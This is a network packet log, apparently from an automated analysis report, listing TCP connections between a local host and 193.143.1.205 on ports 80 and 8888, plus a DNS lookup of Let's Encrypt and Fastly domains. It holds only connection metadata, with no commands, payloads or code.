Jan 11, 2025 03:10:59.246586084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.246596098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.246607065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.246618032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.246623039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.246653080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.247513056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.247528076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.247538090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.247549057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.247560024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.247570992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.247579098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.247581005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.247611046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.248465061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.248477936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.248488903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.248500109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.248507023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.248512030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.248522997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.248533964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.248555899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.248575926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.249258995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.249273062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.249283075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.249294043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.249305010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.249316931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.249324083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.249351025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.251607895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.251684904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.251729965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.251765013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.251818895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.251857042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.251915932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.251964092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.252002001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.252154112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.252165079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.252177000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.252202034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.252455950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.252469063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.252486944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.252501011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.252527952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.252727032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.252739906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.252772093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.252929926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.252947092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.252993107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.253160000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.253171921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.253189087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.253199100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.253201962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.253211975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.253247976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.253748894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.253792048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.283962011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.284001112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.284013987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.284087896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.284164906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.284209967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.284235001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.284352064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.284389973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.284392118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.284404993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.284414053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.284437895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.284823895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.284833908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.284858942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.284970999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.284981966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.285029888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.285180092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.285191059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.285201073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.285209894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.285235882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.285252094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.300863028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.300899982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.300909996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.300944090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.300981998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.301019907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.301032066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.301042080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.301063061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.301455021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.301467896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.301491022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.311305046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.311348915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.311357975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.311403036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.311435938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.311511993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.311523914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.311592102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.311779022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.311804056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.311842918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.311966896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.317653894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.329860926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.329900026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.329971075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.329977989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.330015898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.330029964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.330194950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.330207109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.330218077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.330234051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.330249071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.330559015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.330571890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.330583096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.330605030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.330799103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.330811977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.330842972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.331068039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.331079960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.331091881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.331103086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.331119061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.331119061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.331144094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.331166983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.331624031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.331634998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.331645012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.331655979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.331669092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.331696033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.332132101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.332143068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.332153082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.332163095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.332173109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.332184076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.332190037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.332195997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.332222939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.333139896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.333151102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.333161116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.333170891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.333180904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.333188057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.333192110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.333204031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.333220959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.333242893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.333955050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.333966970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.333977938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.333987951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.333997011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.333998919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.334009886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.334021091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.334038019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.334064960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.334964991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.334976912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.334986925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.334997892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.335006952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.335007906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.335019112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.335027933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.335031033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.335041046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.335058928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.335084915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.335920095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.335932016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.335942030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.335947037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.335958958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.335959911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.335968971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.335978985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.335993052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.335999012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.336016893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.336949110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.336962938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.336971998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.336982012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.336992025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.336997986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.337004900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.337014914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.337024927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.337025881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.337044954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.337068081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.337641954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.337652922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.337663889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.337673903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.337676048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.337694883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.340069056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.340131044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.340141058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.340152979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.340182066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.340272903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.340365887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.340377092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.340396881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.340534925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.340545893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.340578079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.340724945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.340734959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.340758085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.340876102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.340887070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.340897083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.340908051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.340912104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.340930939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.341209888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.341221094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.341258049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.372447014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.372550011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.372580051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.372602940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.372637033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.372669935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.372670889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.372710943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.372778893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.372811079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.372843027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.372845888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.373047113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.373079062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.373085022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.373111963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.373147964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.373322964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.373373032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.373405933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.373409986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.373656988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.373692989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.380064011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.384010077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.389266014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.389312029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.389324903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.389379025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.389529943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.389543056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.389570951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.389713049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.389748096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.389750957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.389764071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.389796019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.399862051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.399899960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.399912119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.399945021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.400171041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.400182962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.400194883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.400206089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.400211096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.400242090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.419523954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.419579983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.419725895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.419794083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.419827938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.419856071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.419859886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.419900894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.419909000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.419958115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.419990063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.419996023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.420022011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.420054913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.420058012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.420095921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.420133114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.420135021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.420166969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.420198917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.420202971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.420233011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.420278072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.421204090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.421237946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.421269894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.421274900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.421302080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.421336889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.443748951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.586112976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:11:00.461247921 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 03:11:00.466238022 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:11:00.466361046 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 03:11:00.466607094 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 03:11:00.471434116 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:11:01.263127089 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:11:01.305985928 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 03:11:01.848016977 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:11:08.405287027 CET	64955	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:11:08.405287027 CET	192.168.2.5	1.1.1.1	0xf96a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:11:08.413517952 CET	1.1.1.1	192.168.2.5	0xf96a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:11:09.098486900 CET	1.1.1.1	192.168.2.5	0xaf92	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
